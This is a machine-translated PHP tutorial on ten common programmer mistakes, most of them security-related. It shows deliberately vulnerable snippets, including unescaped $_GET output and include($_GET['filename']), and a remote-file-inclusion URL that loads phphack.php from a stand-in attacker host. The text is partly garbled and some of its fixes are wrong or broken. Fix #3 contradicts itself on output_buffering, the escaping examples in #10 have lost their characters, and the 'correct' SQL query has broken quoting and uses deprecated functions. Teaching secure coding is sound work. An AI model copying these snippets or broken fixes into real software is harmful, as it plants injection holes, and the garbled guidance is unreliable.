Be wary of the 10 most common mistakes PHP programmers make_PHP Tutorial

PHP is a great web development language, a flexible language, but I have seen some mistakes that PHP programmers make over and over again. I made the following list of 10 common mistakes made by PHP programmers, most of which are related to security. See what kind of mistakes you made:

1. Do not ignore html entities

A basic common sense: all untrusted input (especially user Data submitted from the form) must be changed before output.

<ol class="dp-c"><li class="alt"><span><span class="func">echo</span><span> </span><span class="vars">$_GET</span><span>[</span><span class="string">'usename'</span><span>] ; </span></span></li></ol>

This example may output:

<script>/*Script to change admin password or set cookie*/</script>

This is an obvious security risk unless you ensure that your users are typing correctly.

How to fix:

We need to convert "< ",">","and", etc. into the correct HTML representation (<, >', and "), The functions htmlspecialchars and htmlentities() do exactly this.

Correct method:

<ol class="dp-c"><li class="alt"><span><span class="func">echo</span><span> htmlspecialchars(</span><span class="vars">$_GET</span><span>[</span><span class="string">'username'</span><span>], ENT_QUOTES); </span></span></li></ol>

2. Do not ignore SQL input

I once discussed this issue in an article The Simplest Way to Prevent SQL Injection (in php+mysql) and gave a simple method. Someone said to me that they already have it in php.ini. Set magic_quotes to On, so don't worry about this problem, but not all input is obtained from $_GET, $_POST or $_COOKIE!

How to fix: and prevent sql injection in the simplest way As in the method (php+mysql), I still recommend using the mysql_real_escape_string() function

Correct approach:

<ol class="dp-c"><li class="alt"><span><span><?php  </span></span></li><li><span class="vars">$sql</span><span> = &ldquo;UPDATE users SET  </span></li><li class="alt"><span>name=&rsquo;.mysql_real_escape_string(</span><span class="vars">$name</span><span>).&rsquo;  </span></li><li><span>WHERE id=&rsquo;.mysql_real_escape_string (</span><span class="vars">$id</span><span>).&rsquo;&rdquo;;  </span></li><li class="alt"><span>mysql_query(</span><span class="vars">$sql</span><span>);  </span></li><li><span>?> </span></span></li></ol>

3. Wrong use of HTTP-header related functions :header(), session_start(), setcookie()

Have you encountered this warning?" warning: Cannot addheader information - headers already sent [....]

Every time a web page is downloaded from the server, the server's output is divided into two parts: header and body.

The header contains some non-visual data, such as cookies. The head always arrives first. The text part includes visual html, pictures and other data. If output_buffering is set to Off, all HTTP-header related functions must be called before there is output. The problem is that when you develop in one environment and deploy to another environment, the output_buffering settings may be different. As a result, the redirection stopped, and the cookie and session were not set correctly...

How to fix: Make sure to call http-header related functions before outputting, and set output_buffering = Off.

4. Require or include files use unsafe data

Again: don’t trust data that is not explicitly declared by yourself. Do not include or require files obtained from $_GET, $_POST or $_COOKIE.

For example:

<ol class="dp-c">
<li class="alt"><span><span>index.php  </span></span></li>
<li><span><?  </span></li><li class="alt"><span class="comment">//including header, config, database connection, etc </span><span> </span></li><li><span class="keyword">include</span><span>(</span><span class="vars">$_GET</span><span>[</span><span class="string">'filename'</span><span>]);  </span></li><li class="alt"><span class="comment">//including footer </span><span> </span></li><li><span>?> </span></li>
</ol>

Now any hacker can now use: http://www.yourdomain.com/index.php?filename=anyfile.txt to obtain your secrets information, or execute a PHP script.

If allow_url_fopen=On, you are dead:

Try this input: http://www.yourdomain.com/index. … n.com%2Fphphack.php

Now your web page contains the output of http://www.youaredoomed.com/phphack.php. Hackers can send spam, change passwords, delete files, etc. Anything you can imagine.

How to fix: You must control which files can be included in the include or require directives yourself.

Here is a quick but not comprehensive solution:

<ol class="dp-c"><li class="alt"><span><span><?  </span></span></li><li><span class="comment">//Include only files that are allowed. </span><span> </span></li><li class="alt"><span class="vars">$allowedFiles</span><span> = </span><span class="keyword">array</span><span>(&rsquo;file1.txt&rsquo;,</span><span class="string">'file2.txt&rsquo;,'</span><span>file3.txt&rsquo;);  </span></li><li><span class="keyword">if</span><span>(in_array((string)</span><span class="vars">$_GET</span><span>[</span><span class="string">'filename'</span><span>],</span><span class="vars">$allowedFiles</span><span>)) {  </span></li><li class="alt"><span class="keyword">include</span><span>(</span><span class="vars">$_GET</span><span>[</span><span class="string">'filename'</span><span>]);  </span></li><li><span>}  </span></li><li class="alt"><span class="keyword">else</span><span>{  </span></li><li><span class="func">exit</span><span>(&rsquo;not allowed&rsquo;);  </span></li><li class="alt"><span>}  </span></li><li><span>?> </span></span></li></ol>

5. Syntax Errors

Grammar errors include all Lexical and grammatical errors are so common that I have to list them here. The solution is to study the syntax of PHP carefully and be careful not to miss a bracket, brace, semicolon, or quotation mark. Also, find a good editor and don’t use Notepad!

6. Rarely or never use object-oriented technology

Many projects do not use PHP’s object-oriented technology, and as a result, code maintenance becomes very time-consuming. force. PHP supports more and more object-oriented technologies and is getting better and better. There is no reason why we should not use object-oriented technologies.

7. Not using framework

95% of PHP projects are doing the same four things: Create, edit, list and delete. Now there are Many MVC frameworks help us accomplish these four things, why don't we use them?

8. Don’t know the functions that are already in PHP

The core of PHP contains many functions. Many programmers reinvent the wheel over and over again. A lot of time wasted. Before coding, search for PHP mamual and search on google. You may find new discoveries! exec() in PHP is a powerful function that can execute cmd shell and return the last line of the execution result in the form of a string. Considering security, you can use EscapeShellCmd()

9. Use old versions of PHP

Many programmers are still using old versions of PHP. Development cannot fully utilize the potential of PHP, and there are still some security risks. Jumping to the new version doesn't take much effort. Most old PHP version programs can be migrated to the new version with few or even no changes to the statements.

10. Convert the quotation marks twice

Have you ever seen 'or '" appear on a web page? This is usually because magic_quotes is set to off in the developer's environment. And on the deployed server magic_quotes=on. PHP will repeatedly run addslashes() on the data in GET, POST and COOKIE

Original text: It's a string

magic quotes on: It's a string

Run again

addslashes(): It's a string

HTML output: It's a string

Another situation is that the user The wrong login information was entered at the beginning. After the server detected the wrong input, it output the same form and asked the user to input again, causing the user's input to change twice! 🎜>

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